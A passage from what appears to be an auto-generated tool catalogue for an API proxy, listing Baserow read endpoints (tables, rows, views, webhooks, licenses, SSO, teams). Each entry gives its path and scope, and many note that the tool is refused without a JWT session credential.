/api/dashboard/{dashboard_id}/widgets/ GET /api/v1/baserow/api/dashboard/{dashboard_id}/widgets/. Scopes: api. baserow_get_api_data_sync_by_data_sync_id_periodic_interval (read) — Get periodic data sync interval Responds with the periodic data sync interval data, if the user has the right permissions. This is an **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/data-sync/{data_sync_id}/periodic-interval/ GET /api/v1/baserow/api/data-sync/{data_sync_id}/periodic-interval/. Scopes: api. baserow_get_api_database_admin_views (read) — Admin list database views Returns all database views in the instance with information about the table, database and workspace they belong to, if the requesting user is staff. This can for example be used to find and intervene with publicly shared views that are being abused. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/admin/views/ GET /api/v1/baserow/api/database/admin/views/. Scopes: api. baserow_get_api_database_data_sync_by_data_sync_id (read) — Get table data sync Responds with the data sync, including the data sync type specific properties, if the user has the right permissions. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/data-sync/{data_sync_id}/ GET /api/v1/baserow/api/database/data-sync/{data_sync_id}/. Scopes: api. baserow_get_api_database_data_sync_by_data_sync_id_properties (read) — Get table data sync properties Lists all the available properties of the provided data sync. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/data-sync/{data_sync_id}/properties/ GET /api/v1/baserow/api/database/data-sync/{data_sync_id}/properties/. Scopes: api. baserow_get_api_database_export_by_job_id (read) — Get export job Returns information such as export progress and state or the url of the exported file for the specified export job, only if the requesting user has access. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/export/{job_id}/ GET /api/v1/baserow/api/database/export/{job_id}/. Scopes: api. baserow_get_api_database_field_by_field_id_workflow_actions (read) — List database field workflow actions Lists all the workflow actions of the button field related to the provided parameter if the user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/field/{field_id}/workflow_actions/ GET /api/v1/baserow/api/database/field/{field_id}/workflow_actions/. Scopes: api. baserow_get_api_database_field_rules_by_table_id (read) — Get field rules Get a list of field rules for the table NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/field-rules/{table_id}/ GET /api/v1/baserow/api/database/field-rules/{table_id}/. Scopes: api. baserow_get_api_database_field_rules_by_table_id_invalid_rows (read) — Get invalid rows Get a list of invalid rows NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/field-rules/{table_id}/invalid-rows/ GET /api/v1/baserow/api/database/field-rules/{table_id}/invalid-rows/. Scopes: api. baserow_get_api_database_fields_by_field_id (read) — Get database table field Returns the existing field if the authorized user has access to the related database's workspace. Depending on the type different properties could be returned. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/fields/{field_id}/ GET /api/v1/baserow/api/database/fields/{field_id}/. Scopes: api. baserow_get_api_database_fields_by_field_id_unique_row_values (read) — Get database field unique row values Returns a list of all the unique row values for an existing field, sorted in order of frequency. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/fields/{field_id}/unique_row_values/ GET /api/v1/baserow/api/database/fields/{field_id}/unique_row_values/. Scopes: api. baserow_get_api_database_fields_table_by_table_id (read) — List database table fields Lists all the fields of the table related to the provided parameter if the user has access to the related database's workspace. If the workspace is related to a template, then this endpoint will be publicly accessible. A table consists of fields and each field can have a different type. Each type can have different properties. A field is comparable with a regular table's column. GET /api/database/fields/table/{table_id}/ GET /api/v1/baserow/api/database/fields/table/{table_id}/. Scopes: read. baserow_get_api_database_rows_names (read) — List database table row names Returns the names of the given row of the given tables. The nameof a row is the primary field value for this row. The result can be usedfor example, when you want to display the name of a linked row from another table. The `table_id` and `row_ids` arguments are assembled into Baserow's own `table__=` parameter server-side. GET /api/database/rows/names/ GET /api/v1/baserow/api/database/rows/names/. Scopes: read. baserow_get_api_database_rows_table_by_table_id (read) — List database table rows Lists all the rows of the table related to the provided parameter if the user has access to the related database's workspace. The response is paginated by a page/size style. It is also possible to provide an optional search query, only rows where the data matches the search query are going to be returned then. The properties of the returned rows depends on which fields the table has. For a complete overview of fields use the **list_database_table_fields** endpoint to list them all. In the example all field types are listed, but normally the number in field_{id} key is going to be the id of the field. Or if the GET parameter `user_field_names` is provided then the keys will be the name of the field. The value is what the user has provided and the format of it depends on the fields type. GET /api/database/rows/table/{table_id}/ GET /api/v1/baserow/api/database/rows/table/{table_id}/. Scopes: read. baserow_get_api_database_rows_table_by_table_id_by_row_id (read) — Get database table row Fetches an existing row from the table if the user has access to the related table's workspace. The properties of the returned row depend on which fields the table has. For a complete overview of fields use the **list_database_table_fields** endpoint to list them all. In the example all field types are listed, but normally the number in field_{id} key is going to be the id of the field of the field. Or if the GET parameter `user_field_names` is provided then the keys will be the name of the field. The value is what the user has provided and the format of it depends on the fields type. GET /api/database/rows/table/{table_id}/{row_id}/ GET /api/v1/baserow/api/database/rows/table/{table_id}/{row_id}/. Scopes: read. baserow_get_api_database_rows_table_by_table_id_by_row_id_adjacent (read) — Get adjacent database table row Fetches the adjacent row to a given row_id in the table with the given table_id. If the previous flag is set it will return the previous row, otherwise it will return the next row. You can specifya view_id and it will apply the filters and sorts of the provided view. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/rows/table/{table_id}/{row_id}/adjacent/ GET /api/v1/baserow/api/database/rows/table/{table_id}/{row_id}/adjacent/. Scopes: api. baserow_get_api_database_rows_table_by_table_id_by_row_id_history (read) — Get database table row history Fetches the row change history of a given row_id in the table with the given table_id. The row change history is paginated and can be limited with the limit and offset query parameters. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/rows/table/{table_id}/{row_id}/history/ GET /api/v1/baserow/api/database/rows/table/{table_id}/{row_id}/history/. Scopes: api. baserow_get_api_database_tables_all_tables (read) — List all token tables This endpoint only works in combination with the token authentication. It lists all the tables that the token has either create, read, update or delete access to. GET /api/database/tables/all-tables/ GET /api/v1/baserow/api/database/tables/all-tables/. Scopes: read. baserow_get_api_database_tables_by_table_id (read) — Get database table Returns the requested table if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/tables/{table_id}/ GET /api/v1/baserow/api/database/tables/{table_id}/. Scopes: api. baserow_get_api_database_tables_database_by_database_id (read) — List database tables Lists all the tables that are in the database related to the `database_id` parameter if the user has access to the database's workspace. A table is exactly as the name suggests. It can hold multiple fields, each having their own type and multiple rows. They can be added via the **create_database_table_field** and **create_database_table_row** endpoints. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/tables/database/{database_id}/ GET /api/v1/baserow/api/database/tables/database/{database_id}/. Scopes: api. baserow_get_api_database_tokens (read) — List database tokens Lists all the database tokens that belong to the authorized user. A token can be used to create, read, update and delete rows in the tables of the token's workspace. It only works on the tables if the token has the correct permissions. The **Database table rows** endpoints can be used for these operations. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/tokens/ GET /api/v1/baserow/api/database/tokens/. Scopes: api. baserow_get_api_database_tokens_by_token_id (read) — Get database token Returns the requested database token if it is owned by the authorized user andif the user has access to the related workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/tokens/{token_id}/ GET /api/v1/baserow/api/database/tokens/{token_id}/. Scopes: api. baserow_get_api_database_tokens_check (read) — Check database token This endpoint check be used to check if the provided personal API token is valid. If returns a `200` response if so and a `403` is not. This can be used by integrations like Zapier or n8n to test if a token is valid. GET /api/database/tokens/check/ GET /api/v1/baserow/api/database/tokens/check/. Scopes: api. baserow_get_api_database_view_get_public_view_export_by_job_id (read) — Get public view export job Returns information such as export progress and state or the url of the exported file for the specified export job, only if the requesting user has access. This is a **premium** feature. GET /api/database/view/get-public-view-export/{job_id}/ GET /api/v1/baserow/api/database/view/get-public-view-export/{job_id}/. Scopes: api. baserow_get_api_database_views_by_slug_link_row_field_lookup_by_field_id (read) — Database table public view link row field lookup If the view is publicly shared or if an authenticated user has access to the related workspace, then this endpoint can be used to do a value lookup of the link row fields that are included in the view. Normally it is not possible for a not authenticated visitor to fetch the rows of a table. This endpoint makes it possible to fetch the id and primary field value of the related table of a link row included in the view. GET /api/database/views/{slug}/link-row-field-lookup/{field_id}/ GET /api/v1/baserow/api/database/views/{slug}/link-row-field-lookup/{field_id}/. Scopes: api. baserow_get_api_database_views_by_slug_public_info (read) — Get public view info Returns the required public information to display a single shared view. GET /api/database/views/{slug}/public/info/ GET /api/v1/baserow/api/database/views/{slug}/public/info/. Scopes: api. baserow_get_api_database_views_by_slug_row_by_row_id (read) — Get public view row Returns the data for a specific row in a publicly shared view, identified by the view’s slug and the row’s ID. GET /api/database/views/{slug}/row/{row_id}/ GET /api/v1/baserow/api/database/views/{slug}/row/{row_id}/. Scopes: api. baserow_get_api_database_views_by_view_id (read) — Get database table view Returns the existing view. Depending on the type different properties could be returned. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/{view_id}/ GET /api/v1/baserow/api/database/views/{view_id}/. Scopes: api. baserow_get_api_database_views_by_view_id_decorations (read) — List database table view decorations Lists all decorations of the view related to the provided `view_id` if the user has access to the related database's workspace. A view can have multiple decorations. View decorators can be used to decorate rows. This can, for example, be used to change the border or background color of a row if it matches certain conditions. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/{view_id}/decorations/ GET /api/v1/baserow/api/database/views/{view_id}/decorations/. Scopes: api. baserow_get_api_database_views_by_view_id_field_options (read) — Get database table view field options Responds with the fields options of the provided view if the authenticated user has access to the related workspace. GET /api/database/views/{view_id}/field-options/ GET /api/v1/baserow/api/database/views/{view_id}/field-options/. Scopes: api. baserow_get_api_database_views_by_view_id_filters (read) — List database table view filters Lists all filters of the view related to the provided `view_id`. A view can have multiple filters. When all the rows are requested for the view only those that apply to the filters are returned. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/{view_id}/filters/ GET /api/v1/baserow/api/database/views/{view_id}/filters/. Scopes: api. baserow_get_api_database_views_by_view_id_group_bys (read) — List database table view groupings Lists all groupings of the view related to the provided `view_id` if the user has access to the related database's workspace. A view can have multiple groupings. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/{view_id}/group_bys/ GET /api/v1/baserow/api/database/views/{view_id}/group_bys/. Scopes: api. baserow_get_api_database_views_by_view_id_sortings (read) — List database table view sortings Lists all sortings of the view related to the provided `view_id` if the user has access to the related database's workspace. A view can have multiple sortings. When all the rows are requested they will be in the desired order. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/{view_id}/sortings/ GET /api/v1/baserow/api/database/views/{view_id}/sortings/. Scopes: api. baserow_get_api_database_views_calendar_by_slug_public_rows (read) — Public list database table calendar view rows Responds with serialized rows grouped by the view's date field options related to the `slug` if the calendar view is publicly shared. Additional query parameters can be provided to control the `limit` and `offset` per select option. This is a **premium** feature. GET /api/database/views/calendar/{slug}/public/rows/ GET /api/v1/baserow/api/database/views/calendar/{slug}/public/rows/. Scopes: api. baserow_get_api_database_views_calendar_by_view_id (read) — List database table calendar view rows Responds with serialized rows grouped by date regarding view's date fieldif the user is authenticated and has access to the related workspace. This is a **premium** feature. GET /api/database/views/calendar/{view_id}/ GET /api/v1/baserow/api/database/views/calendar/{view_id}/. Scopes: api. baserow_get_api_database_views_decoration_by_view_decoration_id (read) — Get database table view decoration Returns the existing view decoration if the current user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/decoration/{view_decoration_id}/ GET /api/v1/baserow/api/database/views/decoration/{view_decoration_id}/. Scopes: api. baserow_get_api_database_views_filter_by_view_filter_id (read) — Get database table view filter Returns the existing view filter. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/filter/{view_filter_id}/ GET /api/v1/baserow/api/database/views/filter/{view_filter_id}/. Scopes: api. baserow_get_api_database_views_filter_group_by_view_filter_group_id (read) — Get database table view filter group Returns the existing view filter group with the given `view_filter_group_id`. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/filter-group/{view_filter_group_id}/ GET /api/v1/baserow/api/database/views/filter-group/{view_filter_group_id}/. Scopes: api. baserow_get_api_database_views_form_by_slug_edit_row_by_row_token (read) — Get edit row database table form view Returns the current field values of the row identified by the edit token. Only fields visible in the form view are returned. The token must be a valid signed token generated by a form_view_edit_row field. GET /api/database/views/form/{slug}/edit-row/{row_token}/ GET /api/v1/baserow/api/database/views/form/{slug}/edit-row/{row_token}/. Scopes: api. baserow_get_api_database_views_form_by_slug_submit (read) — Get meta database table form view Returns the metadata related to the form view if the form is publicly shared or if the user has access to the related workspace. This data can be used to construct a form with the right fields. GET /api/database/views/form/{slug}/submit/ GET /api/v1/baserow/api/database/views/form/{slug}/submit/. Scopes: api. baserow_get_api_database_views_gallery_by_slug_public_rows (read) — Public list database table gallery view rows Lists the requested rows of the view's table related to the provided `slug` if the gallery view is public.The response is paginated either by a limit/offset or page/size style. The style depends on the provided GET parameters. The properties of the returned rows depends on which fields the table has. For a complete overview of fields use the **list_database_table_fields** endpoint to list them all. In the example all field types are listed, but normally the number in field_{id} key is going to be the id of the field. The value is what the user has provided and the format of it depends on the fields type. GET /api/database/views/gallery/{slug}/public/rows/ GET /api/v1/baserow/api/database/views/gallery/{slug}/public/rows/. Scopes: api. baserow_get_api_database_views_gallery_by_view_id (read) — List database table gallery view rows Lists the requested rows of the view's table related to the provided `view_id` if the authorized user has access to the database's workspace. The response is paginated by a limit/offset style. GET /api/database/views/gallery/{view_id}/ GET /api/v1/baserow/api/database/views/gallery/{view_id}/. Scopes: api. baserow_get_api_database_views_grid_by_slug_public_aggregations (read) — Get database table public grid view field aggregations Returns all field aggregations values previously defined for this grid view. If filters exist for this view, the aggregations are computed only on filtered rows. GET /api/database/views/grid/{slug}/public/aggregations/ GET /api/v1/baserow/api/database/views/grid/{slug}/public/aggregations/. Scopes: api. baserow_get_api_database_views_grid_by_slug_public_group_by_data (read) — Get database table public grid view group by data. GET /api/database/views/grid/{slug}/public/group-by-data/ GET /api/v1/baserow/api/database/views/grid/{slug}/public/group-by-data/. Scopes: api. baserow_get_api_database_views_grid_by_slug_public_rows (read) — Public list database table grid view rows Lists the requested rows of the view's table related to the provided `slug` if the grid view is public.The response is paginated either by a limit/offset or page/size style. The style depends on the provided GET parameters. The properties of the returned rows depends on which fields the table has. For a complete overview of fields use the **list_database_table_fields** endpoint to list them all. In the example all field types are listed, but normally the number in field_{id} key is going to be the id of the field. The value is what the user has provided and the format of it depends on the fields type. GET /api/database/views/grid/{slug}/public/rows/ GET /api/v1/baserow/api/database/views/grid/{slug}/public/rows/. Scopes: api. baserow_get_api_database_views_grid_by_view_id (read) — List database table grid view rows Lists the requested rows of the view's table related to the provided `view_id` if the authorized user has access to the database's workspace. The response is paginated either by a limit/offset or page/size style. The style depends on the provided GET parameters. The properties of the returned rows depends on which fields the table has. For a complete overview of fields use the **list_database_table_fields** endpoint to list them all. In the example all field types are listed, but normally the number in field_{id} key is going to be the id of the field. The value is what the user has provided and the format of it depends on the fields type. The filters and sortings are automatically applied. To get a full overview of the applied filters and sortings you can use the `list_database_table_view_filters` and `list_database_table_view_sortings` endpoints. GET /api/database/views/grid/{view_id}/ GET /api/v1/baserow/api/database/views/grid/{view_id}/. Scopes: api. baserow_get_api_database_views_grid_by_view_id_aggregation_by_field_id (read) — Get database table grid view field aggregation Computes the aggregation of all the values for a specified field from the selected grid view. You must select the aggregation type by setting the `type` GET parameter. If filters are configured for the selected view, the aggregation is calculated only on filtered rows. You need to have read permissions on the view to request an aggregation. GET /api/database/views/grid/{view_id}/aggregation/{field_id}/ GET /api/v1/baserow/api/database/views/grid/{view_id}/aggregation/{field_id}/. Scopes: api. baserow_get_api_database_views_grid_by_view_id_aggregations (read) — Get database table grid view field aggregations Returns all field aggregations values previously defined for this grid view. If filters exist for this view, the aggregations are computed only on filtered rows.You need to have read permissions on the view to request aggregations. GET /api/database/views/grid/{view_id}/aggregations/ GET /api/v1/baserow/api/database/views/grid/{view_id}/aggregations/. Scopes: api. baserow_get_api_database_views_grid_by_view_id_group_by_data (read) — Get database table grid view group by data. GET /api/database/views/grid/{view_id}/group-by-data/ GET /api/v1/baserow/api/database/views/grid/{view_id}/group-by-data/. Scopes: api. baserow_get_api_database_views_group_by_by_view_group_by_id (read) — Get database table view group Returns the existing view group by if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/group_by/{view_group_by_id}/ GET /api/v1/baserow/api/database/views/group_by/{view_group_by_id}/. Scopes: api. baserow_get_api_database_views_kanban_by_slug_public_rows (read) — Public list database table kanban view rows Responds with serialized rows grouped by the view's single select field options related to the `slug` if the kanban view is publicly shared. Additional query parameters can be provided to control the `limit` and `offset` per select option. This is a **premium** feature. GET /api/database/views/kanban/{slug}/public/rows/ GET /api/v1/baserow/api/database/views/kanban/{slug}/public/rows/. Scopes: api. baserow_get_api_database_views_kanban_by_view_id (read) — List database table kanban view rows Responds with serialized rows grouped by the view's single select field options if the user is authenticated and has access to the related workspace. Additional query parameters can be provided to control the `limit` and `offset` per select option. This is a **premium** feature. GET /api/database/views/kanban/{view_id}/ GET /api/v1/baserow/api/database/views/kanban/{view_id}/. Scopes: api. baserow_get_api_database_views_sort_by_view_sort_id (read) — Get database table view sort Returns the existing view sort if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/views/sort/{view_sort_id}/ GET /api/v1/baserow/api/database/views/sort/{view_sort_id}/. Scopes: api. baserow_get_api_database_views_table_by_table_id (read) — List database table views Lists all views of the table related to the provided `table_id`. If the workspace is related to a template, then this endpoint will be publicly accessible. A table can have multiple views. Each view can display the data in a different way. For example the `grid` view shows the in a spreadsheet like way. That type has custom endpoints for data retrieval and manipulation. In the future other views types like a calendar or Kanban are going to be added. Each type can have different properties. GET /api/database/views/table/{table_id}/ GET /api/v1/baserow/api/database/views/table/{table_id}/. Scopes: api. baserow_get_api_database_views_timeline_by_slug_public_rows (read) — Public list database table timeline view rows Lists the requested rows of the view's table related to the provided `slug` if the timeline view is public.The response is paginated either by a limit/offset or page/size style. The style depends on the provided GET parameters. The properties of the returned rows depends on which fields the table has. For a complete overview of fields use the **list_database_table_fields** endpoint to list them all. In the example all field types are listed, but normally the number in field_{id} key is going to be the id of the field. The value is what the user has provided and the format of it depends on the fields type. GET /api/database/views/timeline/{slug}/public/rows/ GET /api/v1/baserow/api/database/views/timeline/{slug}/public/rows/. Scopes: api. baserow_get_api_database_views_timeline_by_view_id (read) — List database table timeline view rows Lists the requested rows of the view's table related to the provided `view_id` if the authorized user has access to the database's workspace. The response is paginated either by a limit/offset or page/size style. The style depends on the provided GET parameters. The properties of the returned rows depends on which fields the table has. For a complete overview of fields use the **list_database_table_fields** endpoint to list them all. In the example all field types are listed, but normally the number in field_{id} key is going to be the id of the field. The value is what the user has provided and the format of it depends on the fields type. The filters and sortings are automatically applied. To get a full overview of the applied filters and sortings you can use the `list_database_table_view_filters` and `list_database_table_view_sortings` endpoints. This is a **premium** feature. GET /api/database/views/timeline/{view_id}/ GET /api/v1/baserow/api/database/views/timeline/{view_id}/. Scopes: api. baserow_get_api_database_webhooks_by_webhook_id (read) — Get database table webhook Returns the existing webhook if the authorized user has access to the related database workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/webhooks/{webhook_id}/ GET /api/v1/baserow/api/database/webhooks/{webhook_id}/. Scopes: api. baserow_get_api_database_webhooks_table_by_table_id (read) — List database table webhooks Lists all webhooks of the table related to the provided `table_id` if the user has access to the related database workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/database/webhooks/table/{table_id}/ GET /api/v1/baserow/api/database/webhooks/table/{table_id}/. Scopes: api. baserow_get_api_field_permissions_by_field_id (read) — Get field permissions Retrieve the permissions for writing field values and form visibility of a specific field. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/field-permissions/{field_id}/ GET /api/v1/baserow/api/field-permissions/{field_id}/. Scopes: api. baserow_get_api_field_permissions_by_field_id_subjects (read) — List field permission subject options Searches users and teams that can be selected for a field-specific permission. Results are paginated and exclude the requested subjects. This is an **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/field-permissions/{field_id}/subjects/ GET /api/v1/baserow/api/field-permissions/{field_id}/subjects/. Scopes: api. baserow_get_api_health_celery_queue (read) — Celery queue size check Health check endpoint to check if the the celery and/or export celery queue has exceeded the maximum healthy size. Responds with `200` if there there are less than 10 in all queues provided. Otherwise responds with a `503`. GET /api/_health/celery-queue/ GET /api/v1/baserow/api/_health/celery-queue/. Scopes: api. baserow_get_api_health_full (read) — Full health check Runs a full health check testing as many services and systems as possible. These health checks can be expensive operations such as writing files to storage etc. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/_health/full/ GET /api/v1/baserow/api/_health/full/. Scopes: api. baserow_get_api_jobs (read) — List job List all existing jobs. Jobs are task executed asynchronously in the background. You can use the `get_job` endpoint to read the current progress of the job. The available query parameters depend on the job type selected via the `type` parameter. Each job type may support additional type-specific filter parameters. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/jobs/ GET /api/v1/baserow/api/jobs/. Scopes: api. baserow_get_api_jobs_by_job_id (read) — Get job Returns the information related to the provided job id. This endpoint can for example be polled to get the state and progress of the job in real time. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/jobs/{job_id}/ GET /api/v1/baserow/api/jobs/{job_id}/. Scopes: api. baserow_get_api_licenses (read) — Admin licenses Lists all the valid licenses that are registered to this instance. A premium license can be used to unlock the premium features for a fixed amount of users. An enterprise license can similarly be used to unlock enterprise features. More information about self hosted licenses can be found on our pricing page https://baserow.io/pricing. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/licenses/ GET /api/v1/baserow/api/licenses/. Scopes: api. baserow_get_api_licenses_by_id (read) — Admin get license Responds with detailed information about the license related to the provided parameter. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/licenses/{id}/ GET /api/v1/baserow/api/licenses/{id}/. Scopes: api. baserow_get_api_licenses_by_id_check (read) — Admin license check This endpoint checks with the authority if the license needs to be updated. It also checks if the license is operating within its limits and might take action on that. It could also happen that the license has been deleted because there is an instance id mismatch or because it's invalid. In that case a `204` status code is returned. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/licenses/{id}/check/ GET /api/v1/baserow/api/licenses/{id}/check/. Scopes: api. baserow_get_api_licenses_by_id_lookup_users (read) — Admin license lookup users This endpoint can be used to lookup users that can be added to a license. Users that are already in the license are not returned here. Optionally a `search` query parameter can be provided to filter the results. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/licenses/{id}/lookup-users/ GET /api/v1/baserow/api/licenses/{id}/lookup-users/. Scopes: api. baserow_get_api_mcp_endpoint_by_endpoint_id (read) — Get mcp endpoint Returns the requested MCP endpoint if the authorized user has access to it. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/mcp/endpoint/{endpoint_id}/ GET /api/v1/baserow/api/mcp/endpoint/{endpoint_id}/. Scopes: api. baserow_get_api_mcp_endpoints (read) — List mcp endpoints Lists all the MCP (Model Context Protocol) endpoints of a user. These canbe used to directly integrate with an LLM like Claude, and let the LLM perform actions directly in Baserow. Treat your MCP URL like a password,as it has the ability to modify data in Baserow. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/mcp/endpoints/ GET /api/v1/baserow/api/mcp/endpoints/. Scopes: api. baserow_get_api_notifications_by_workspace_id (read) — List workspace notifications Lists the notifications for the given workspace and the current user. The response is paginated and the limit and offset parameters can be controlled using the query parameters. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/notifications/{workspace_id}/ GET /api/v1/baserow/api/notifications/{workspace_id}/. Scopes: api. baserow_get_api_role_by_workspace_id (read) — List role assignments You can list the role assignments within a workspace, optionally filtered downto a specific scope inside of that workspace. If the scope isn't specified,the workspace will be considered the scope. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/role/{workspace_id}/ GET /api/v1/baserow/api/role/{workspace_id}/. Scopes: api. baserow_get_api_row_comments_by_table_id_by_row_id (read) — Get row comments Returns all row comments for the specified table and row. This is a **premium** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/row_comments/{table_id}/{row_id}/ GET /api/v1/baserow/api/row_comments/{table_id}/{row_id}/. Scopes: api. baserow_get_api_search_workspace_by_workspace_id (read) — Workspace search Search across all searchable content within a workspace NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/search/workspace/{workspace_id}/ GET /api/v1/baserow/api/search/workspace/{workspace_id}/. Scopes: api. baserow_get_api_settings (read) — Get settings Responds with all the admin configured settings. GET /api/settings/ GET /api/v1/baserow/api/settings/. Scopes: api. baserow_get_api_settings_instance_id (read) — Get instance id Responds with the self hosted instance id. Only a user with staff permissions can request it. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/settings/instance-id/ GET /api/v1/baserow/api/settings/instance-id/. Scopes: api. baserow_get_api_snapshots_application_by_application_id (read) — List snapshots Lists snapshots that were created for a given application. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/snapshots/application/{application_id}/ GET /api/v1/baserow/api/snapshots/application/{application_id}/. Scopes: api. baserow_get_api_sso_oauth2_callback_by_provider_id (read) — Oauth provider login callback Processes callback from OAuth2 provider and logs the user in if successful. GET /api/sso/oauth2/callback/{provider_id}/ GET /api/v1/baserow/api/sso/oauth2/callback/{provider_id}/. Scopes: api. baserow_get_api_sso_oauth2_login_by_provider_id (read) — Oauth provider login redirect Redirects to the OAuth2 provider's authentication URL based on the provided auth provider's id. GET /api/sso/oauth2/login/{provider_id}/ GET /api/v1/baserow/api/sso/oauth2/login/{provider_id}/. Scopes: api. baserow_get_api_sso_saml_login (read) — Auth provider saml sp login This is the endpoint that is called when the user wants to initiate a SSO SAML login from Baserow (the service provider). The user will be redirected to the SAML identity provider (IdP) where the user can authenticate. Once logged in in the IdP, the user will be redirected back to the assertion consumer service endpoint (ACS) where the SAML response will be validated and a new JWT session token will be provided to work with Baserow APIs. GET /api/sso/saml/login/ GET /api/v1/baserow/api/sso/saml/login/. Scopes: api. baserow_get_api_sso_saml_login_url (read) — Auth provider login url Return the correct redirect_url to initiate the SSO SAML login. It needs an email address if multiple SAML providers are configured otherwise the only configured SAML provider signup URL will be returned. GET /api/sso/saml/login-url/ GET /api/v1/baserow/api/sso/saml/login-url/. Scopes: api. baserow_get_api_teams_by_team_id (read) — Get team Returns the information related to the provided team id. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/teams/{team_id}/ GET /api/v1/baserow/api/teams/{team_id}/. Scopes: api. baserow_get_api_teams_by_team_id_subjects (read) — List team subjects Lists all team subjects in a given team. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/teams/{team_id}/subjects/ GET /api/v1/baserow/api/teams/{team_id}/subjects/. Scopes: api. baserow_get_api_teams_by_team_id_subjects_by_subject_id (read) — Get subject Returns the information related to the provided subject id NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/teams/{team_id}/subjects/{subject_id}/ GET /api/v1/baserow/api/teams/{team_id}/subjects/{subject_id}/. Scopes: api. baserow_get_api_teams_workspace_by_workspace_id (read) — Workspace list teams Lists all teams in a given workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/teams/workspace/{workspace_id}/ GET /api/v1/baserow/api/teams/workspace/{workspace_id}/. Scopes: api. baserow_get_api_templates (read) — List templates Lists all the template categories and the related templates that are in that category. 